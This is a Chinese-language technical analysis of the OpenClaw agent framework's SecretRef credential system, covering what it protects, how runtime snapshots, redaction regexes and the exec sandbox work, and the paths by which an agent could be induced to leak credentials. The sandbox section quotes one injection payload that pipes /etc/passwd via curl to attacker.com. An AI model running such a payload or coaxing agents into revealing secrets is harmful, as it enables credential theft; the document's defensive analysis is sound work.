一、问题的提出
在 AI Agent 领域,凭据安全是一个核心矛盾。OpenClaw 作为个人助理框架,通过 SecretRef 机制实现了凭据与配置的分离。但我有一个疑问:
OpenClaw 具备了 SecretRef 能力,可以保证不让 LLM 接触凭据明文。但是,OpenClaw Agent 自己是可以接触凭据明文的吗?如果把明文凭据往 OpenClaw 中写入过,是否就可能被诱导吐出来?
这个问题的本质是:SecretRef 保护哪些场景?哪些场景不在其保护范围内?
二、SecretRef 机制概述
引入时间
SecretRef 能力从 2026-02-26 开始引入(commit d00ed73026),并在 2026-03-03 的大规模更新中扩展到所有用户提供的凭据。
核心概念
SecretRef 是一种引用对象,用于替代配置文件中的明文凭据:
| |
三种凭据来源
| 来源 | 说明 | 适用场景 |
|---|---|---|
env | 环境变量 | 个人开发、简单部署 |
file | 文件系统 | 企业级密钥管理 |
exec | 命令行工具 | HashiCorp Vault、1Password 等密钥管理器 |
凭据覆盖范围
SecretRef 覆盖了约 70 个凭据配置面,主要分布在以下几类:
| 凭据类型 | 示例 |
|---|---|
| Provider API Keys | OpenAI、Anthropic、Google、Azure 等模型提供商 |
| 通道认证令牌 | Telegram Bot Token、Discord Token、Matrix Token |
| 云服务凭据 | AWS Access Key、Azure KeyVault、Vault Token |
| 插件凭据 | 自定义工具的 API Key、数据库连接串 |
此外,还有部分运行时动态生成的凭据(如 OAuth refresh token、会话令牌)不支持 SecretRef,由系统自动管理。
明文与 SecretRef 共存时的优先级
如果某个字段同时配置了明文和 SecretRef,SecretRef 优先。这意味着:
| |
在这种情况下,运行时会使用环境变量 NEW_API_KEY 的值,而不是明文 old-plaintext-key。
不支持 SecretRef 的凭据类型
并非所有凭据都支持 SecretRef。以下类型明确不支持:
| 凭据类型 | 原因 |
|---|---|
| OAuth refresh token | 运行时生成和轮换 |
| 会话令牌(session token) | 运行时生成,短期有效 |
| Matrix accessToken | 运行时管理 |
| Discord threadBindings webhookToken | 运行时生成 |
| hooks.token | 运行时生成 |
| WhatsApp creds.json | 运行时管理 |
这些凭据属于「运行时生成或轮换」的类别,不适合通过只读的外部 SecretRef 解析。
三、凭据生命周期全景图
flowchart TB
subgraph 明文配置
P1["openclaw.json 直接写明文凭据"]
end
subgraph SecretRef配置
B1["环境变量"]
B2["密钥文件"]
B3["Vault 或 1Password"]
B4["openclaw.json 写引用"]
end
subgraph 解析阶段
C1["Gateway 启动"]
C2["SecretRef 预解析"]
end
subgraph 运行时
C3["内存快照 明文凭据"]
D1["LLM API 调用"]
D2["工具执行"]
D3["通道消息发送"]
end
subgraph 输出保护
E1["UI/API 响应脱敏"]
E2["日志输出脱敏"]
E3["工具输出脱敏"]
end
P1 --> C1
B1 --> C2
B2 --> C2
B3 --> C2
B4 --> C1
C1 --> C2
C2 --> C3
C3 --> D1
C3 --> D2
C3 --> D3
D1 -.-> E1
D2 -.-> E3
D3 -.-> E2
style P1 fill:#B22222,color:#fff
style B4 fill:#228B22,color:#fff
style C3 fill:#E65100,color:#fff
style E1 fill:#1565C0,color:#fff
style E2 fill:#1565C0,color:#fff
style E3 fill:#1565C0,color:#fff
关键理解
- 存储层:明文模式直接写入配置文件;SecretRef 模式只写引用,凭据在外部
- 解析层:SecretRef 配置在启动时被预解析;明文配置直接进入下一阶段
- 运行时层:无论哪种模式,凭据最终都以明文形式存在于内存快照
- 输出层:输出时自动脱敏,防止意外泄露
运行时解析的特点
SecretRef 的解析采用「预解析 + 惰性收集」的策略:
- 惰性收集:只有已启用的 Provider/Channel/Skill 的 SecretRef 才会被解析。被禁用的配置不会进入解析队列,仅生成警告
- 预解析:对于已启用的配置,在 Gateway 启动时一次性批量解析所有 SecretRef,存入内存快照
- 非延迟:不会在每次需要凭据时才去解析
这种设计的好处是:
- 可以预先配置多个通道但只启用部分,未启用通道的凭据不会进入内存
- 密钥管理器(如 Vault)的故障不会影响正在运行的请求
- 热路径上不需要额外的 I/O 操作
代价是:
- 已启用配置的所有凭据必须在启动时可解析,否则启动失败
- 运行时内存中始终存在已启用配置的明文凭据
- 旧快照替换时无主动擦除,依赖 JavaScript GC 回收
四、SecretRef 保护的场景
flowchart LR
A1["配置文件泄露"] --> R1["完全防护"]
A2["Git 仓库暴露"] --> R2["完全防护"]
A3["Web 管理界面截图"] --> R3["完全防护"]
A4["日志文件被读取"] --> R4["完全防护"]
A5["会话历史泄露"] --> R5["部分防护"]
style R1 fill:#228B22,color:#fff
style R2 fill:#228B22,color:#fff
style R3 fill:#228B22,color:#fff
style R4 fill:#228B22,color:#fff
style R5 fill:#B8860B,color:#fff
完全防护的场景
| 场景 | 保护机制 |
|---|---|
| 配置文件泄露 | 文件中只有 SecretRef 引用,无明文 |
| Git 仓库暴露 | 同上,版本控制中无凭据痕迹 |
| Web 管理界面截图 | 敏感字段显示为脱敏占位符 |
| 日志文件 | redactSensitiveText 自动脱敏 |
什么是 Web 管理界面?
OpenClaw 提供了一个 Web 管理界面(Dashboard),可以通过浏览器访问。在这个界面中,用户可以:
- 查看和编辑配置(
openclaw.json) - 管理通道设置
- 查看运行状态
当配置中包含敏感字段(如 apiKey、token)时,Web 界面不会显示真实值,而是显示一个脱敏占位符 __OPENCLAW_REDACTED__。
这意味着:即使用户截屏分享 Web 管理界面给别人,也不会意外泄露凭据明文。
部分防护的场景:会话历史
会话历史是一个需要特别说明的场景。
什么会进入会话历史:如果在对话中主动输入过明文凭据(例如把 API Key 直接粘贴到聊天中),这些内容会存在于会话历史文件里。
脱敏机制如何工作:当工具执行完毕后,输出内容会经过 redactSensitiveText 函数处理。这个函数使用正则表达式匹配已知的凭据格式,例如:
- OpenAI 格式:
sk-开头的字符串 - GitHub 格式:
ghp_、github_pat_开头的字符串 - Slack 格式:
xox[baprs]-开头的字符串 - Telegram Bot Token:
\d{6,}:[A-Za-z0-9_-]{20,}格式 - Bearer Token:
Bearer [A-Za-z0-9._\-+=]+格式 - 等等…
局限性:这是基于模式匹配的脱敏,不是语义理解。如果凭据格式不在上述已知模式列表中,可能不会被脱敏。
举例:假设你有一个自定义服务的 API Key 是 mycompany-secret-abc123xyz,这个格式不在默认的正则列表中。如果 Agent 在工具输出中包含了这个值,它不会被自动脱敏,会原样返回给 LLM。
Active-surface 验证机制
OpenClaw 采用「仅验证激活配置」的策略:
- 已启用的通道:SecretRef 必须能成功解析,否则 Gateway 启动失败
- 未启用的通道:即使 SecretRef 配置有误,也不会阻止系统启动
这意味着:只有被实际使用的配置才会被严格验证。你可以预先配置多个通道,但只启用其中一部分——未启用通道的凭据问题不会影响系统运行。
五、SecretRef 不保护的场景
flowchart TB
N1["内存转储或调试器"]
N2["Agent 诱导攻击"]
N3["操作系统级别攻击"]
N4["恶意插件"]
R1["原因: 运行时快照中存在明文凭据"]
R2["原因: Agent 可访问内存快照"]
R3["原因: 同一进程空间"]
R4["原因: 插件运行在 Gateway 进程内"]
N1 --> R1
N2 --> R2
N3 --> R3
N4 --> R4
style N1 fill:#B22222,color:#fff
style N2 fill:#B22222,color:#fff
style N3 fill:#B22222,color:#fff
style N4 fill:#B22222,color:#fff
安全模型:可信操作员
OpenClaw 采用的是「可信操作员(Trusted Operator)」安全模型:
- 与 OpenClaw 对话的人被视为可信的
- SecretRef 防止的是意外泄露,不是恶意诱导
- 如果攻击者能与你对话,他们已经在你的信任边界内
内存快照的真相
| |
所有 SecretRef 在启动时被解析为明文,存储在 PreparedSecretsRuntimeSnapshot 中。Agent 在执行时从这个快照中读取凭据。
诱导攻击的多条路径
凭据泄露至少存在三条独立路径:
flowchart LR
subgraph 路径A
A1["对话历史残留"] --> A2["LLM 从历史回忆"]
end
subgraph 路径B
B1["工具读配置文件"] --> B2["内容进入上下文"]
end
subgraph 路径C
C1["工具参数"] --> C2["发送给 LLM"]
end
A2 --> R["凭据泄露"]
B2 --> R
C2 --> R
style A1 fill:#B22222,color:#fff
style B1 fill:#B8860B,color:#fff
style C1 fill:#228B22,color:#fff
| 路径 | 描述 | SecretRef 是否防护 |
|---|---|---|
| A:对话历史 | 用户曾在聊天中直接输入过凭据 → LLM 从会话历史中回忆并输出 | ❌ 完全无关 |
| B:工具读文件 | Agent 通过文件读取工具读取配置文件 → 内容进入 LLM 上下文 | ⚠️ 部分防护(SecretRef 模式配置文件无明文) |
| C:工具参数 | Agent 在工具调用参数中包含凭据 → 发送给 LLM | ❌ 不在保护范围 |
路径 A 是最现实的攻击面:用户在 onboarding 时可能直接粘贴过 API Key,这些内容存在于会话历史文件中,与 SecretRef 完全无关。SecretRef 只保护配置层面的存储,不保护用户行为层面的输入。
缓解措施是工具输出经过正则脱敏,但如前所述,这只覆盖已知格式。
Degraded 状态与 Last-known-good
当运行时重载(reload)失败时,OpenClaw 会进入「降级(degraded)」状态:
- 保持上一个成功解析的内存快照(last-known-good)
- 正在运行的请求不受影响
- 系统会记录
SECRETS_RELOADER_DEGRADED事件 - 下次成功解析后会记录
SECRETS_RELOADER_RECOVERED事件
这意味着,即使密钥管理器暂时不可用,OpenClaw 仍能继续工作(使用旧快照)。但这也意味着旧凭据可能在内存中持续存在,直到成功重载。
六、exec 沙箱机制
当使用 exec 来源(从命令行工具获取凭据)时,OpenClaw 实施了一组沙箱隔离措施,这是减轻凭据风险的重要防线。
沙箱隔离措施
flowchart TB
subgraph 沙箱隔离
S1["禁止 shell 解析"]
S2["环境变量白名单"]
S3["超时控制"]
S4["凭据模式过滤"]
end
subgraph 风险缓解
R1["阻止命令注入"]
R2["阻止环境泄露"]
R3["阻止悬挂进程"]
R4["阻止意外暴露"]
end
S1 --> R1
S2 --> R2
S3 --> R3
S4 --> R4
style S1 fill:#1565C0,color:#fff
style S2 fill:#1565C0,color:#fff
style S3 fill:#1565C0,color:#fff
style S4 fill:#1565C0,color:#fff
| 措施 | 实现方式 | 防护目标 |
|---|---|---|
| 禁止 shell 解析 | shell: false,直接执行二进制 | 阻止命令注入攻击 |
| 环境变量白名单 | 仅传递显式允许的变量 | 阻止通过环境变量泄露凭据 |
| 超时控制 | 限制命令执行时间 | 阻止悬挂进程攻击 |
| 凭据模式过滤 | 阻止 API_KEY/TOKEN/SECRET 模式 | 阻止意外暴露敏感环境变量 |
沙箱措施详解
1. 禁止 shell 解析
实现:使用 spawn(command, args, { shell: false }) 而非 exec(command)
场景:用户配置从 Vault 获取凭据:
| |
无沙箱时:如果攻击者能控制 Vault 中的值(如 api_key: $(cat /etc/passwd | curl -X POST -d @- attacker.com)),shell 会执行命令。
有沙箱时:shell: false 确保参数作为字面量传递,不会被 shell 解释执行。
2. 环境变量白名单
实现:仅向子进程传递显式配置的环境变量,不继承父进程环境
场景:Gateway 运行时可能包含多个敏感环境变量:
| |
无沙箱时:恶意 Vault 插件可以通过 process.env 读取所有环境变量并外发。
有沙箱时:子进程只能看到白名单中的变量(如 VAULT_ADDR、VAULT_TOKEN),其他敏感变量不可见。
3. 超时控制
实现:设置命令执行超时(默认 30 秒),超时后强制终止
场景:攻击者配置一个永远不返回的命令:
| |
无沙箱时:子进程无限期占用资源,可能导致资源耗尽(DoS)。
有沙箱时:超时后进程被 SIGKILL 终止,资源被释放。
4. 凭据模式过滤
实现:阻止名称匹配 *API_KEY*、*TOKEN*、*SECRET* 等模式的环境变量传递给子进程
场景:即使使用白名单,用户可能误将敏感变量加入白名单:
| |
无过滤时:敏感变量传递给子进程,可能被恶意插件读取。
有过滤时:变量名匹配敏感模式时被自动拒绝,即使误配置也不会泄露。
5. 可信目录白名单
实现:exec 命令路径必须在预定义的安全目录内(如 /usr/local/bin、/opt/homebrew/bin)
场景:攻击者尝试执行任意路径
| |
无白名单时:任意可执行文件可被运行。
有白名单时:路径不在白名单目录内,拒绝执行。
6. Ref ID 路径遍历防护
实现:拒绝包含 ./.. 路径段,仅允许 [A-Za-z0-9._:/-] 格式
场景:攻击者尝试通过 Ref ID 读取系统文件
| |
无防护时:可能通过路径遍历读取任意文件。
有防护时:路径段包含 .. 或非法字符,拒绝执行。
7. 输出大小限制
实现:限制命令输出大小(默认 64KB),超过时截断
场景:恶意程序输出大量数据
| |
无限制时:可能导致内存耗尽(DoS)。
有限制时:输出超过限制时截断,防止资源耗尽。
沙箱对凭据风险的影响
exec 沙箱不改变内存快照中存在明文凭据的根本事实,但它缩小了攻击面:
| 风险场景 | 无沙箱 | 有沙箱 |
|---|---|---|
| 恶意 Vault 插件注入命令 | ❌ 可被利用 | ✅ 被阻止(shell: false) |
| 通过环境变量侧信道泄露 | ❌ 可被利用 | ✅ 被限制(白名单 + 模式过滤) |
| 悬挂进程导致资源耗尽 | ❌ 可被利用 | ✅ 被限制(超时控制) |
| 任意路径命令执行 | ❌ 可被利用 | ✅ 被阻止(目录白名单) |
| 路径遍历读取系统文件 | ❌ 可被利用 | ✅ 被阻止(Ref ID 校验) |
| 大输出导致内存耗尽 | ❌ 可被利用 | ✅ 被限制(输出大小限制) |
局限性:沙箱保护的是 exec 来源的解析阶段,不保护解析后的运行时状态。凭据一旦进入内存快照,沙箱的保护作用即结束。
与整体安全模型的关系
exec 沙箱是「深度防御」策略的一环:
- SecretRef → 保护配置文件(存储层)
- exec 沙箱 → 保护凭据获取过程(解析层)
- 输出脱敏 → 保护日志和响应(输出层)
三层防护构成了 OpenClaw 当前凭据安全的核心框架,但运行时内存始终是未覆盖的盲区。
七、明文凭据模式的额外风险
前面讨论的是 SecretRef 模式下的安全边界。但 OpenClaw 并不强制使用 SecretRef——用户完全可以直接在配置文件中写入明文凭据:
| |
明文模式 vs SecretRef 模式对比
flowchart TB
subgraph 明文模式
P1["openclaw.json"] --> P2["内存快照"]
P2 --> P3["Agent 使用"]
end
subgraph SecretRef模式
S1["openclaw.json 引用"] --> S2["解析环境变量或 Vault"]
S2 --> S3["内存快照"]
S3 --> S4["Agent 使用"]
end
style P1 fill:#B22222,color:#fff
style S1 fill:#228B22,color:#fff
style P2 fill:#E65100,color:#fff
style S3 fill:#E65100,color:#fff
| 维度 | 明文凭据模式 | SecretRef 模式 |
|---|---|---|
| 配置文件安全性 | ❌ 包含明文 | ✅ 只有引用 |
| Git 仓库暴露风险 | ❌ 凭据直接泄露 | ✅ 无凭据痕迹 |
| 运行时内存风险 | ⚠️ 相同 | ⚠️ 相同 |
| Agent 诱导风险 | ⚠️ 相同 | ⚠️ 相同 |
关键发现:SecretRef 解决的是存储安全问题,但运行时安全问题在两种模式下完全相同——凭据最终都会进入内存快照。
明文模式的特殊风险
使用明文凭据时,除了前文提到的运行时风险外,还增加了:
- 配置文件泄露:
openclaw.json本身就是敏感文件 - 版本控制污染:如果提交到 Git,凭据会永久存在于历史记录中
- 备份/传输风险:任何配置文件副本都包含凭据
- Web 管理界面暴露:虽然 UI 会脱敏显示,但底层文件仍含明文
无 at-rest 加密的架构缺陷
无论使用明文模式还是 SecretRef 模式,OpenClaw 当前都没有实现 at-rest 加密:
flowchart LR
subgraph 当前状态
D1["磁盘上的凭据"] --> D2["明文或外部管理"]
M1["内存中的凭据"] --> M2["明文"]
end
subgraph 理想状态
D3["磁盘上的凭据"] --> D4["加密存储"]
M3["内存中的凭据"] --> M4["按需解密"]
end
style D2 fill:#B22222,color:#fff
style M2 fill:#B22222,color:#fff
style D4 fill:#228B22,color:#fff
style M4 fill:#228B22,color:#fff
| 维度 | 当前实现 | 风险 |
|---|---|---|
| 配置文件 | 明文 JSON 或外部引用 | 泄露即暴露 |
| 内存快照 | 明文 | 内存转储即暴露 |
| 快照替换 | 无主动擦除 | 旧凭据残留 |
这是凭据安全的根本性架构缺陷,独立于 SecretRef 机制存在。
配置写回保护
尽管存在上述风险,OpenClaw 实现了一项重要的防护措施:配置写回时永远不写入明文凭据。
当用户通过 Web UI 或 API 修改配置时:
- 计算修改相对于
resolvedConfig(含明文)的 diff - 将 diff 应用到
sourceConfig(含 SecretRef 引用)上 - 写入的是
sourceConfig,不是resolvedConfig
这意味着:即使运行时内存中存在明文凭据,这些明文永远不会被写回磁盘。这是防止"运行时明文意外落盘"的关键保障。
八、与 LLM 的关系
LLM 直接接触 vs 间接接触
| 内容 | LLM 是否接触 |
|---|---|
| API Key 本身 | 不(用于 HTTP 头,不在 prompt 中) |
| 工具输出 | 经过脱敏处理 |
| 运行时配置 | 理论上可访问(通过工具) |
| 会话历史 | 完全可见 |
执行层隔离的实现程度
OpenClaw 实现了部分执行层隔离:
flowchart LR
L1["LLM 层"] --> E1["执行层"]
E1 --> API["外部 API"]
E1 -.-> L1
style L1 fill:#1565C0,color:#fff
style E1 fill:#E65100,color:#fff
说明:
- LLM 层决定做什么,传递给执行层(实线箭头)
- 执行层使用凭据调用外部 API
- 执行层返回脱敏后的结果给 LLM 层(虚线箭头)
九、总结与展望
凭据运行流程全景
flowchart TB
subgraph 明文配置模式
P1["配置文件直接写明文凭据"]
end
subgraph SecretRef配置模式
S1["配置文件写引用"]
S2["解析环境变量或 Vault"]
end
subgraph 启动阶段
G1["Gateway 启动"]
M1["存入内存快照 明文凭据"]
end
subgraph 运行阶段
R1["Agent 接收请求"]
R2["从内存快照读取凭据"]
R3["调用外部服务"]
end
P1 --> G1
S1 --> S2
S2 --> G1
G1 --> M1
M1 --> R2
R1 --> R2
R2 --> R3
style P1 fill:#B22222,color:#fff
style S1 fill:#228B22,color:#fff
style M1 fill:#E65100,color:#fff
流程说明:
- 配置阶段:
- 明文模式:凭据直接写入
openclaw.json - SecretRef 模式:配置文件只存引用,凭据在外部(环境变量、Vault 等)
- 明文模式:凭据直接写入
- 启动阶段:无论哪种模式,Gateway 启动后凭据都会进入内存快照
- 运行阶段:Agent 从内存快照读取凭据,调用外部服务
关键点:两种配置模式在运行时阶段完全相同——凭据最终都以明文形式存在于内存快照中。
安全场景分析
SecretRef 模式下的安全场景
这些场景下,SecretRef 提供了完整的保护:
| 场景 | 为什么安全 |
|---|---|
| 配置文件泄露 | 文件中只有引用,无明文 |
| Git 仓库暴露 | 版本控制中无凭据痕迹 |
| Web 管理界面截图 | 敏感字段显示为占位符 |
| 日志文件泄露 | 自动脱敏处理 |
| 配置导出/备份 | 导出内容不含明文 |
这些场景的共同特点是:只涉及静态存储,不涉及运行时内存。
明文模式下的额外风险
| 场景 | 风险 |
|---|---|
| 配置文件泄露 | 凭据直接暴露 |
| Git 仓库暴露 | 凭据进入版本历史 |
| 备份/传输 | 任何副本都含凭据 |
两种模式共同存在的运行时风险
这些场景下,SecretRef 无法提供完整保护:
| 场景 | 风险原因 | 风险等级 |
|---|---|---|
| 内存转储/调试器 | 运行时内存中存在明文 | 高 |
| Agent 诱导攻击 | Agent 可访问内存快照 | 中高 |
| 恶意插件 | 运行在同一进程空间 | 高 |
| 会话历史泄露 | 工具输出依赖正则脱敏 | 中 |
这些场景的共同特点是:涉及运行时状态,而 SecretRef 只保护静态存储。
问题的本质
OpenClaw 当前的架构是:
flowchart LR
Agent["Agent"] --> Memory["内存快照"]
Memory -->|"明文凭据"| Agent
Agent --> Tools["工具调用"]
style Memory fill:#B22222,color:#fff
问题:Agent 与凭据在同一信任域内。Agent 可以直接访问内存快照中的明文凭据。
这带来的风险是:
- Agent 可以被诱导读取并输出凭据
- 恶意插件可以访问凭据
- 内存转储会包含凭据
解决方向:真正的执行层隔离
理想的架构应该是:
flowchart TB
Agent["Agent/LLM 层"]
Executor["执行层"]
Secrets["凭据存储"]
API["外部 API"]
Agent -->|"决定做什么"| Executor
Executor -->|"需要时获取"| Secrets
Secrets -->|"仅返回给执行层"| Executor
Executor --> API
Executor -->|"脱敏结果"| Agent
style Agent fill:#1565C0,color:#fff
style Executor fill:#E65100,color:#fff
style Secrets fill:#2E7D32,color:#fff
核心原则:
- 凭据对 Agent 不可见:Agent 只知道"调用什么服务",不知道"用什么凭据"
- 执行层是唯一入口:所有外部调用必须经过执行层
- 凭据在执行层注入:凭据只在执行层被使用,永远不返回给 Agent
实现方式:
| |
Agent 永远不会看到凭据,也不会知道凭据的值。即使 Agent 被完全控制,也无法泄露它不知道的东西。
分阶段实施路径
直接跳到"完全执行层隔离"是高成本架构改造。更务实的路径是分阶段收窄攻击面:
| 优先级 | 目标 | 改动范围 | 安全收益 |
|---|---|---|---|
| P0 | At-rest 加密 | 新增 encrypted source 类型 | 磁盘凭据不再明文 |
| P1 | 内存生命周期管控 | 旧快照清零、缩短驻留时间 | 减少内存转储风险 |
| P1 | 执行层隔离增强 | 架构改造,凭据不进入 Agent 内存 | Agent 无法访问凭据 |
关键洞察:P0/P1(加密 + 内存管控)对用户体验影响小、实施难度低,却能大幅收窄攻击面。直接跳到执行层隔离可能得不偿失。
已有安全措施
除本文详述的 SecretRef 和 exec 沙箱外,OpenClaw 已实施多层防护(本文未展开):
| 措施 | 保护阶段 | 说明 |
|---|---|---|
| 原子写入 | 存储 | 写临时文件 → chmod → rename,防止部分写入 |
| file 后端路径安全 | 解析 | 符号链接拒绝、属主校验、TOCTOU 保护 |
| 配置写回保护 | 存储 | 永远写入 sourceConfig,不写 resolvedConfig |
| 时序安全比较 | 运行时 | timingSafeEqual,防止时序攻击 |
| 安全审计命令 | 运维 | openclaw secrets audit,检测配置问题 |
| Tool Schema 隔离 | 执行层 | 工具参数中不包含凭据字段 |
这些措施主要防护意外泄露,但不改变运行时内存中存在明文凭据的根本事实。
与当前实现的差距
| 维度 | 当前实现 | 理想实现 |
|---|---|---|
| 凭据存储 | 配置文件引用 | 完全外部化 |
| 运行时状态 | 内存快照含明文 | 凭据不进入 Agent 内存 |
| Agent 访问 | 可通过工具间接访问 | 完全不可见 |
| 脱敏机制 | 正则匹配(覆盖有限) | 架构级隔离(无需脱敏) |
总结
OpenClaw 的 SecretRef 机制是一个优秀的存储安全方案:
- 它解决了配置文件级别的凭据保护问题
- 它与企业级密钥管理系统无缝集成
- 它大幅降低了凭据意外泄露的概率
但它不是运行时安全方案:
- 凭据在运行时以明文形式存在于内存中
- Agent 理论上可以访问这些凭据
- 正则脱敏只覆盖已知格式
如果需要真正的凭据安全,需要实现执行层隔离:让凭据只在执行层存在,Agent 永远不知道凭据的值。这是 AI Agent 凭据安全的本质解法。
参考资料
- OpenClaw Secrets Management 文档
- SecretRef Credential Surface
- OpenClaw Security Policy
- 本文对 OpenClaw 源码的独立分析(2026-03-24)